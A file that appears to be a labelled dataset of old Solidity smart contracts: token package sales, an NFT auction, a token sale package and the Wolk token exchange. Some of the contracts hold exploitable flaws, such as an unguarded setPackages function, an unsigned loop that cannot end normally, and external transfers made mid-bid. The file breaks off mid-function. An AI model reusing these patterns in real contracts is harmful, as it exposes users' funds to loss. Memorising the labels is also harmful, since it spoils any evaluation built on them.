function buyCopper(uint256 _CopperPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s
) payable external {
require(_expiration >= block.timestamp);
address signer = ecrecover(keccak256(_CopperPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _CopperPrice);
assert(ndc.transfer(msg.sender, COPPER_AMOUNT_NDC)
&& tpt.transfer(msg.sender, COPPER_AMOUNT_TPT)
&& skl.transfer(msg.sender, COPPER_AMOUNT_SKL)
&& xper.transfer(msg.sender, COPPER_AMOUNT_XPER));
emit BuyCopper(msg.sender, _CopperPrice, msg.value);
}
function buyBronze(uint256 _BronzePrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s
) payable external {
require(_expiration >= block.timestamp);
address signer = ecrecover(keccak256(_BronzePrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _BronzePrice);
assert(ndc.transfer(msg.sender, BRONZE_AMOUNT_NDC)
&& tpt.transfer(msg.sender, BRONZE_AMOUNT_TPT)
&& skl.transfer(msg.sender, BRONZE_AMOUNT_SKL)
&& xper.transfer(msg.sender, BRONZE_AMOUNT_XPER));
emit BuyBronze(msg.sender, _BronzePrice, msg.value);
}
function buySilver(uint256 _SilverPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s
) payable external {
require(_expiration >= block.timestamp);
address signer = ecrecover(keccak256(_SilverPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _SilverPrice);
assert(ndc.transfer(msg.sender, SILVER_AMOUNT_NDC)
&& tpt.transfer(msg.sender, SILVER_AMOUNT_TPT)
&& skl.transfer(msg.sender, SILVER_AMOUNT_SKL)
&& xper.transfer(msg.sender, SILVER_AMOUNT_XPER));
emit BuySilver(msg.sender, _SilverPrice, msg.value);
}
function buyGold(uint256 _GoldPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s
) payable external {
require(_expiration >= block.timestamp);
address signer = ecrecover(keccak256(_GoldPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _GoldPrice);
assert(ndc.transfer(msg.sender, GOLD_AMOUNT_NDC)
&& tpt.transfer(msg.sender, GOLD_AMOUNT_TPT)
&& skl.transfer(msg.sender, GOLD_AMOUNT_SKL)
&& xper.transfer(msg.sender, GOLD_AMOUNT_XPER));
emit BuyGold(msg.sender, _GoldPrice, msg.value);
}
function buyPlatinum(uint256 _PlatinumPrice,
uint256 _expiration,
uint8 _v,
bytes32 _r,
bytes32 _s
) payable external {
require(_expiration >= block.timestamp);
address signer = ecrecover(keccak256(_PlatinumPrice, _expiration), _v, _r, _s);
require(signer == neverdieSigner);
require(msg.value >= _PlatinumPrice);
assert(ndc.transfer(msg.sender, PLATINUM_AMOUNT_NDC)
&& tpt.transfer(msg.sender, PLATINUM_AMOUNT_TPT)
&& skl.transfer(msg.sender, PLATINUM_AMOUNT_SKL)
&& xper.transfer(msg.sender, PLATINUM_AMOUNT_XPER));
emit BuyPlatinum(msg.sender, _PlatinumPrice, msg.value);
}
function withdrawEther() external onlyOwner {
owner.transfer(this.balance);
}
function withdraw() public onlyOwner {
uint256 allNDC= ndc.balanceOf(this);
uint256 allTPT = tpt.balanceOf(this);
uint256 allSKL = skl.balanceOf(this);
uint256 allXPER = xper.balanceOf(this);
if (allNDC > 0) ndc.transfer(msg.sender, allNDC);
if (allTPT > 0) tpt.transfer(msg.sender, allTPT);
if (allSKL > 0) skl.transfer(msg.sender, allSKL);
if (allXPER > 0) xper.transfer(msg.sender, allXPER);
}
function withdrawToken(address _tokenContract) external onlyOwner {
ERC20 token = ERC20(_tokenContract);
uint256 balance = token.balanceOf(this);
assert(token.transfer(owner, balance));
}
function kill() onlyOwner public {
withdraw();
selfdestruct(owner);
}
} | 0 | 1,668 |
pragma solidity ^0.4.24;
contract ERC165Interface {
function supportsInterface(bytes4 interfaceID) external view returns (bool);
}
contract ERC165 is ERC165Interface {
mapping(bytes4 => bool) private _supportedInterfaces;
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721Basic is ERC165 {
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256);
function ownerOf(uint256 _tokenId) public view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function approve(address _approved, uint256 _tokenId) external;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) public view returns (address);
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) external view returns (string);
function totalSupply() public view returns (uint256);
}
contract ERC721TokenReceiver {
function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) public returns (bytes4);
}
contract ERC721Holder is ERC721TokenReceiver {
function onERC721Received(address, address, uint256, bytes) public returns (bytes4) {
return this.onERC721Received.selector;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract AuctionBase is ERC721Holder {
using SafeMath for uint256;
struct Auction {
address seller;
uint128 price;
uint64 startedAt;
}
ERC721Basic public nonFungibleContract;
uint256 public ownerCut;
mapping (uint256 => Auction) tokenIdToAuction;
event AuctionCreated(uint256 tokenId, uint256 price);
event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address bidder);
event AuctionCanceled(uint256 tokenId);
function() external {}
modifier canBeStoredWith64Bits(uint256 _value) {
require(_value <= (2**64 - 1));
_;
}
modifier canBeStoredWith128Bits(uint256 _value) {
require(_value <= (2**128 - 1));
_;
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return (nonFungibleContract.ownerOf(_tokenId) == _claimant);
}
function _escrow(address _owner, uint256 _tokenId) internal {
nonFungibleContract.safeTransferFrom(_owner, this, _tokenId);
}
function _transfer(address _receiver, uint256 _tokenId) internal {
nonFungibleContract.transferFrom(this, _receiver, _tokenId);
}
function _addAuction(uint256 _tokenId, Auction _auction) internal {
tokenIdToAuction[_tokenId] = _auction;
emit AuctionCreated(
uint256(_tokenId),
uint256(_auction.price)
);
}
function _cancelAuction(uint256 _tokenId, address _seller) internal {
_removeAuction(_tokenId);
_transfer(_seller, _tokenId);
emit AuctionCanceled(_tokenId);
}
function _bid(uint256 _tokenId, uint256 _bidAmount)
internal
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
uint256 price = _currentPrice(auction);
require(_bidAmount >= price);
address seller = auction.seller;
_removeAuction(_tokenId);
if (price > 0) {
uint256 auctioneerCut = _computeCut(price);
uint256 sellerProceeds = price.sub(auctioneerCut);
seller.transfer(sellerProceeds);
}
uint256 bidExcess = _bidAmount - price;
msg.sender.transfer(bidExcess);
emit AuctionSuccessful(_tokenId, price, msg.sender);
return price;
}
function _removeAuction(uint256 _tokenId) internal {
delete tokenIdToAuction[_tokenId];
}
function _isOnAuction(Auction storage _auction) internal view returns (bool) {
return (_auction.startedAt > 0);
}
function _currentPrice(Auction storage _auction)
internal
view
returns (uint256)
{
return _auction.price;
}
function _computeCut(uint256 _price) internal view returns (uint256) {
return _price * ownerCut / 10000;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Auction is Pausable, AuctionBase {
function withdrawBalance() external {
address nftAddress = address(nonFungibleContract);
require(
msg.sender == owner ||
msg.sender == nftAddress
);
nftAddress.transfer(address(this).balance);
}
function createAuction(
uint256 _tokenId,
uint256 _price,
address _seller
)
external
whenNotPaused
canBeStoredWith128Bits(_price)
{
require(_owns(msg.sender, _tokenId));
_escrow(msg.sender, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_price),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
whenNotPaused
{
_bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
}
function cancelAuction(uint256 _tokenId, address _seller)
external
{
require(msg.sender == address(nonFungibleContract));
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
address seller = auction.seller;
require(_seller == seller);
_cancelAuction(_tokenId, seller);
}
function cancelAuctionForOwner(uint256 _tokenId)
external
onlyOwner
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function cancelAuctionWhenPaused(uint256 _tokenId)
external
whenPaused
onlyOwner
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
_cancelAuction(_tokenId, auction.seller);
}
function getAuction(uint256 _tokenId)
external
view
returns
(
address seller,
uint256 price,
uint256 startedAt
) {
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return (
auction.seller,
auction.price,
auction.startedAt
);
}
function getCurrentPrice(uint256 _tokenId)
external
view
returns (uint256)
{
Auction storage auction = tokenIdToAuction[_tokenId];
require(_isOnAuction(auction));
return _currentPrice(auction);
}
}
contract SaleAuction is Auction {
bool public isSaleAuction = true;
uint256[5] public lastGen0SalePrices;
uint256 public gen0SaleCount;
constructor(address _nftAddress, uint256 _cut) public {
require(_cut <= 10000);
ownerCut = _cut;
ERC721Basic candidateContract = ERC721Basic(_nftAddress);
nonFungibleContract = candidateContract;
}
function createAuction(
uint256 _tokenId,
uint256 _price,
address _seller
)
external
canBeStoredWith128Bits(_price)
{
require(msg.sender == address(nonFungibleContract));
_escrow(_seller, _tokenId);
Auction memory auction = Auction(
_seller,
uint128(_price),
uint64(now)
);
_addAuction(_tokenId, auction);
}
function bid(uint256 _tokenId)
external
payable
{
address seller = tokenIdToAuction[_tokenId].seller;
uint256 price = _bid(_tokenId, msg.value);
_transfer(msg.sender, _tokenId);
if (seller == address(nonFungibleContract) || seller == owner) {
for (uint256 i = 0; i < 5; i++) {
if (lastGen0SalePrices[i] == 0) {
lastGen0SalePrices[i] = 175 finney;
}
}
lastGen0SalePrices[gen0SaleCount % 5] = price;
gen0SaleCount++;
}
}
function averageGen0SalePrice() external view returns (uint256) {
uint256 sum = 0;
for (uint256 i = 0; i < 5; i++) {
sum = sum.add(lastGen0SalePrices[i]);
}
return (sum / 5) * 685 / 1000;
}
} | 1 | 2,756 |
pragma solidity ^0.4.18 ;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ContractiumInterface {
function balanceOf(address who) public view returns (uint256);
function contractSpend(address _from, uint256 _value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function owner() public view returns (address);
function bonusRateOneEth() public view returns (uint256);
function currentTotalTokenOffering() public view returns (uint256);
function currentTokenOfferingRaised() public view returns (uint256);
function isOfferingStarted() public view returns (bool);
function offeringEnabled() public view returns (bool);
function startTime() public view returns (uint256);
function endTime() public view returns (uint256);
}
contract ContractiumSalePackage is Ownable {
using SafeMath for uint256;
ContractiumInterface ctuContract;
address public constant CONTRACTIUM = 0x943aca8ed65fbf188a7d369cfc2bee0ae435ee1b;
address public ownerCtuContract;
address public owner;
uint8 public constant decimals = 18;
uint256 public unitsOneEthCanBuy = 15000;
uint256 public currentTokenOfferingRaised;
uint256[] public intervals;
uint256[] public packages;
constructor() public {
ctuContract = ContractiumInterface(CONTRACTIUM);
ownerCtuContract = ctuContract.owner();
owner = msg.sender;
intervals = [
0,
10000000000000000,
100000000000000000,
1000000000000000000,
3000000000000000000,
5000000000000000000,
10000000000000000000
];
packages = [
0,
750,
1500,
3000,
4500,
6000,
7500
];
}
function() public payable {
require(msg.sender != owner);
uint256 amount = msg.value.mul(unitsOneEthCanBuy);
uint256 bonusRate = getNearestPackage(msg.value);
uint256 amountBonus = msg.value.mul(bonusRate);
amount = amount.add(amountBonus);
uint256 remain = ctuContract.balanceOf(ownerCtuContract);
require(remain >= amount);
preValidatePurchase(amount);
address _from = ownerCtuContract;
address _to = msg.sender;
require(ctuContract.transferFrom(_from, _to, amount));
ownerCtuContract.transfer(msg.value);
currentTokenOfferingRaised = currentTokenOfferingRaised.add(amount);
}
function getNearestPackage(uint256 _amount) view internal returns (uint256) {
require(_amount > 0);
uint indexPackage = 0;
for (uint i = intervals.length - 1; i >= 0 ; i--){
if (intervals[i] <= _amount) {
indexPackage = i;
break;
}
}
return packages[indexPackage];
}
function preValidatePurchase(uint256 _amount) view internal {
require(_amount > 0);
require(ctuContract.isOfferingStarted());
require(ctuContract.offeringEnabled());
require(currentTokenOfferingRaised.add(ctuContract.currentTokenOfferingRaised().add(_amount)) <= ctuContract.currentTotalTokenOffering());
require(block.timestamp >= ctuContract.startTime() && block.timestamp <= ctuContract.endTime());
}
function setCtuContract(address _ctuAddress) public onlyOwner {
require(_ctuAddress != address(0x0));
ctuContract = ContractiumInterface(_ctuAddress);
ownerCtuContract = ctuContract.owner();
}
function resetCurrentTokenOfferingRaised() public onlyOwner {
currentTokenOfferingRaised = 0;
}
function clearPackages() public onlyOwner returns (bool) {
intervals = [0];
packages = [0];
return true;
}
function setPackages(uint256[] _interval, uint256[] _packages) public checkPackages(_interval, _packages) returns (bool) {
intervals = _interval;
packages = _packages;
return true;
}
modifier checkPackages(uint256[] _interval, uint256[] _packages) {
require(_interval.length == _packages.length);
bool validIntervalArr = true;
for (uint i = 0; i < intervals.length - 1 ; i++){
if (intervals[i] >= intervals[i + 1]) {
validIntervalArr = false;
break;
}
}
require(validIntervalArr);
_;
}
} | 0 | 2,000 |
pragma solidity ^0.4.11;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract ERC20 {
function totalSupply() constant returns (uint totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ERC20Token is ERC20, SafeMath {
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalTokens;
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function totalSupply() constant returns (uint256) {
return totalTokens;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Wolk is ERC20Token {
string public constant name = "Wolk Protocol Token";
string public constant symbol = "WOLK";
uint256 public constant decimals = 18;
uint256 public reserveBalance = 0;
uint16 public constant percentageETHReserve = 20;
address public owner = msg.sender;
address public multisigWallet;
modifier onlyOwner { assert(msg.sender == owner); _; }
mapping (address => uint256) contribution;
uint256 public constant tokenGenerationMin = 50 * 10**6 * 10**decimals;
uint256 public constant tokenGenerationMax = 500 * 10**6 * 10**decimals;
uint256 public start_block;
uint256 public end_block;
bool public saleCompleted = false;
modifier isTransferable { assert(saleCompleted); _; }
mapping (address => bool) settlers;
modifier onlySettler { assert(settlers[msg.sender] == true); _; }
event WolkCreated(address indexed _to, uint256 _tokenCreated);
event WolkDestroyed(address indexed _from, uint256 _tokenDestroyed);
event LogRefund(address indexed _to, uint256 _value);
function wolkGenesis(uint256 _startBlock, uint256 _endBlock, address _wolkWallet) onlyOwner returns (bool success){
require( (totalTokens < 1) && (!settlers[msg.sender]) && (_endBlock > _startBlock) );
start_block = _startBlock;
end_block = _endBlock;
multisigWallet = _wolkWallet;
settlers[msg.sender] = true;
return true;
}
function changeOwner(address _newOwner) onlyOwner returns (bool success){
owner = _newOwner;
settlers[_newOwner] = true;
return true;
}
function tokenGenerationEvent() payable external {
require(!saleCompleted);
require( (block.number >= start_block) && (block.number <= end_block) );
uint256 tokens = safeMul(msg.value, 5*10**9);
uint256 checkedSupply = safeAdd(totalTokens, tokens);
require(checkedSupply <= tokenGenerationMax);
totalTokens = checkedSupply;
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
contribution[msg.sender] = safeAdd(contribution[msg.sender], msg.value);
WolkCreated(msg.sender, tokens);
}
function refund() external {
require( (contribution[msg.sender] > 0) && (!saleCompleted) && (totalTokens < tokenGenerationMin) && (block.number > end_block) );
uint256 tokenBalance = balances[msg.sender];
uint256 refundBalance = contribution[msg.sender];
balances[msg.sender] = 0;
contribution[msg.sender] = 0;
totalTokens = safeSub(totalTokens, tokenBalance);
WolkDestroyed(msg.sender, tokenBalance);
LogRefund(msg.sender, refundBalance);
msg.sender.transfer(refundBalance);
}
function finalize() onlyOwner {
require( (!saleCompleted) && (totalTokens >= tokenGenerationMin) );
saleCompleted = true;
end_block = block.number;
reserveBalance = safeDiv(safeMul(this.balance, percentageETHReserve), 100);
var withdrawalBalance = safeSub(this.balance, reserveBalance);
msg.sender.transfer(withdrawalBalance);
}
}
contract WolkProtocol is Wolk {
uint256 public burnBasisPoints = 500;
mapping (address => mapping (address => bool)) authorized;
mapping (address => uint256) feeBasisPoints;
event AuthorizeServiceProvider(address indexed _owner, address _serviceProvider);
event DeauthorizeServiceProvider(address indexed _owner, address _serviceProvider);
event SetServiceProviderFee(address indexed _serviceProvider, uint256 _feeBasisPoints);
event BurnTokens(address indexed _from, address indexed _serviceProvider, uint256 _value);
function setBurnRate(uint256 _burnBasisPoints) onlyOwner returns (bool success) {
require( (_burnBasisPoints > 0) && (_burnBasisPoints <= 1000) );
burnBasisPoints = _burnBasisPoints;
return true;
}
function setServiceFee(address _serviceProvider, uint256 _feeBasisPoints) onlyOwner returns (bool success) {
if ( _feeBasisPoints <= 0 || _feeBasisPoints > 4000){
settlers[_serviceProvider] = false;
feeBasisPoints[_serviceProvider] = 0;
return false;
}else{
feeBasisPoints[_serviceProvider] = _feeBasisPoints;
settlers[_serviceProvider] = true;
SetServiceProviderFee(_serviceProvider, _feeBasisPoints);
return true;
}
}
function checkServiceFee(address _serviceProvider) constant returns (uint256 _feeBasisPoints) {
return feeBasisPoints[_serviceProvider];
}
function settleBuyer(address _buyer, uint256 _value) onlySettler returns (bool success) {
require( (burnBasisPoints > 0) && (burnBasisPoints <= 1000) && authorized[_buyer][msg.sender] );
if ( balances[_buyer] >= _value && _value > 0) {
var burnCap = safeDiv(safeMul(_value, burnBasisPoints), 10000);
var transferredToServiceProvider = safeSub(_value, burnCap);
balances[_buyer] = safeSub(balances[_buyer], _value);
balances[msg.sender] = safeAdd(balances[msg.sender], transferredToServiceProvider);
totalTokens = safeSub(totalTokens, burnCap);
Transfer(_buyer, msg.sender, transferredToServiceProvider);
BurnTokens(_buyer, msg.sender, burnCap);
return true;
} else {
return false;
}
}
function settleSeller(address _seller, uint256 _value) onlySettler returns (bool success) {
var serviceProviderBP = feeBasisPoints[msg.sender];
require( (serviceProviderBP > 0) && (serviceProviderBP <= 4000) );
if (balances[msg.sender] >= _value && _value > 0) {
var fee = safeDiv(safeMul(_value, serviceProviderBP), 10000);
var transferredToSeller = safeSub(_value, fee);
balances[_seller] = safeAdd(balances[_seller], transferredToSeller);
Transfer(msg.sender, _seller, transferredToSeller);
return true;
} else {
return false;
}
}
function authorizeProvider(address _providerToAdd) returns (bool success) {
require(settlers[_providerToAdd]);
authorized[msg.sender][_providerToAdd] = true;
AuthorizeServiceProvider(msg.sender, _providerToAdd);
return true;
}
function deauthorizeProvider(address _providerToRemove) returns (bool success) {
authorized[msg.sender][_providerToRemove] = false;
DeauthorizeServiceProvider(msg.sender, _providerToRemove);
return true;
}
function checkAuthorization(address _owner, address _serviceProvider) constant returns (bool authorizationStatus) {
return authorized[_owner][_serviceProvider];
}
function grantService(address _owner, address _providerToAdd) onlyOwner returns (bool authorizationStatus) {
var isPreauthorized = authorized[_owner][msg.sender];
if (isPreauthorized && settlers[_providerToAdd] ) {
authorized[_owner][_providerToAdd] = true;
AuthorizeServiceProvider(msg.sender, _providerToAdd);
return true;
}else{
return false;
}
}
function removeService(address _owner, address _providerToRemove) onlyOwner returns (bool authorizationStatus) {
authorized[_owner][_providerToRemove] = false;
DeauthorizeServiceProvider(_owner, _providerToRemove);
return true;
}
}
contract BancorFormula is SafeMath {
uint8 constant PRECISION = 32;
uint256 constant FIXED_ONE = uint256(1) << PRECISION;
uint256 constant FIXED_TWO = uint256(2) << PRECISION;
uint256 constant MAX_VAL = uint256(1) << (256 - PRECISION);
function calculatePurchaseReturn(uint256 _supply, uint256 _reserveBalance, uint16 _reserveRatio, uint256 _depositAmount) public constant returns (uint256) {
require(_supply != 0 && _reserveBalance != 0 && _reserveRatio > 0 && _reserveRatio <= 100);
if (_depositAmount == 0)
return 0;
uint256 baseN = safeAdd(_depositAmount, _reserveBalance);
uint256 temp;
if (_reserveRatio == 100) {
temp = safeMul(_supply, baseN) / _reserveBalance;
return safeSub(temp, _supply);
}
uint256 resN = power(baseN, _reserveBalance, _reserveRatio, 100);
temp = safeMul(_supply, resN) / FIXED_ONE;
uint256 result = safeSub(temp, _supply);
return safeSub(result, _supply / 0x100000000);
}
function calculateSaleReturn(uint256 _supply, uint256 _reserveBalance, uint16 _reserveRatio, uint256 _sellAmount) public constant returns (uint256) {
require(_supply != 0 && _reserveBalance != 0 && _reserveRatio > 0 && _reserveRatio <= 100 && _sellAmount <= _supply);
if (_sellAmount == 0)
return 0;
uint256 baseN = safeSub(_supply, _sellAmount);
uint256 temp1;
uint256 temp2;
if (_reserveRatio == 100) {
temp1 = safeMul(_reserveBalance, _supply);
temp2 = safeMul(_reserveBalance, baseN);
return safeSub(temp1, temp2) / _supply;
}
if (_sellAmount == _supply)
return _reserveBalance;
uint256 resN = power(_supply, baseN, 100, _reserveRatio);
temp1 = safeMul(_reserveBalance, resN);
temp2 = safeMul(_reserveBalance, FIXED_ONE);
uint256 result = safeSub(temp1, temp2) / resN;
return safeSub(result, _reserveBalance / 0x100000000);
}
function power(uint256 _baseN, uint256 _baseD, uint32 _expN, uint32 _expD) internal returns (uint256 resN) {
uint256 logbase = ln(_baseN, _baseD);
resN = fixedExp(safeMul(logbase, _expN) / _expD);
return resN;
}
function ln(uint256 _numerator, uint256 _denominator) internal returns (uint256) {
assert(_denominator <= _numerator);
assert(_denominator != 0 && _numerator != 0);
assert(_numerator < MAX_VAL);
assert(_denominator < MAX_VAL);
return fixedLoge( (_numerator * FIXED_ONE) / _denominator);
}
function fixedLoge(uint256 _x) internal returns (uint256 logE) {
assert(_x >= FIXED_ONE);
uint256 log2 = fixedLog2(_x);
logE = (log2 * 0xb17217f7d1cf78) >> 56;
}
function fixedLog2(uint256 _x) internal returns (uint256) {
assert( _x >= FIXED_ONE);
uint256 hi = 0;
while (_x >= FIXED_TWO) {
_x >>= 1;
hi += FIXED_ONE;
}
for (uint8 i = 0; i < PRECISION; ++i) {
_x = (_x * _x) / FIXED_ONE;
if (_x >= FIXED_TWO) {
_x >>= 1;
hi += uint256(1) << (PRECISION - 1 - i);
}
}
return hi;
}
function fixedExp(uint256 _x) internal returns (uint256) {
assert(_x <= 0x386bfdba29);
return fixedExpUnsafe(_x);
}
function fixedExpUnsafe(uint256 _x) internal returns (uint256) {
uint256 xi = FIXED_ONE;
uint256 res = 0xde1bc4d19efcac82445da75b00000000 * xi;
xi = (xi * _x) >> PRECISION;
res += xi * 0xde1bc4d19efcb0000000000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x6f0de268cf7e58000000000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x2504a0cd9a7f72000000000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x9412833669fdc800000000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x1d9d4d714865f500000000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x4ef8ce836bba8c0000000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0xb481d807d1aa68000000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x16903b00fa354d000000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x281cdaac677b3400000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x402e2aad725eb80000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x5d5a6c9f31fe24000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x7c7890d442a83000000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x9931ed540345280000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0xaf147cf24ce150000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0xbac08546b867d000000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0xbac08546b867d00000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0xafc441338061b8000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x9c3cabbc0056e000000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x839168328705c80000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x694120286c04a0000;
xi = (xi * _x) >> PRECISION;
res += xi * 0x50319e98b3d2c400;
xi = (xi * _x) >> PRECISION;
res += xi * 0x3a52a1e36b82020;
xi = (xi * _x) >> PRECISION;
res += xi * 0x289286e0fce002;
xi = (xi * _x) >> PRECISION;
res += xi * 0x1b0c59eb53400;
xi = (xi * _x) >> PRECISION;
res += xi * 0x114f95b55400;
xi = (xi * _x) >> PRECISION;
res += xi * 0xaa7210d200;
xi = (xi * _x) >> PRECISION;
res += xi * 0x650139600;
xi = (xi * _x) >> PRECISION;
res += xi * 0x39b78e80;
xi = (xi * _x) >> PRECISION;
res += xi * 0x1fd8080;
xi = (xi * _x) >> PRECISION;
res += xi * 0x10fbc0;
xi = (xi * _x) >> PRECISION;
res += xi * 0x8c40;
xi = (xi * _x) >> PRECISION;
res += xi * 0x462;
xi = (xi * _x) >> PRECISION;
res += xi * 0x22;
return res / 0xde1bc4d19efcac82445da75b00000000;
}
}
contract WolkExchange is WolkProtocol, BancorFormula {
uint256 public maxPerExchangeBP = 50;
function setMaxPerExchange(uint256 _maxPerExchange) onlyOwner returns (bool success) {
require( (_maxPerExchange >= 10) && (_maxPerExchange <= 100) );
maxPerExchangeBP = _maxPerExchange;
return true;
}
function EstLiquidationCap() public constant returns (uint256) {
if (saleCompleted){
var liquidationMax = safeDiv(safeMul(totalTokens, maxPerExchangeBP), 10000);
if (liquidationMax < 100 * 10**decimals){
liquidationMax = 100 * 10**decimals;
}
return liquidationMax;
}else{
return 0;
}
}
function sellWolk(uint256 _wolkAmount) isTransferable() external returns(uint256) {
uint256 sellCap = EstLiquidationCap();
uint256 ethReceivable = calculateSaleReturn(totalTokens, reserveBalance, percentageETHReserve, _wolkAmount);
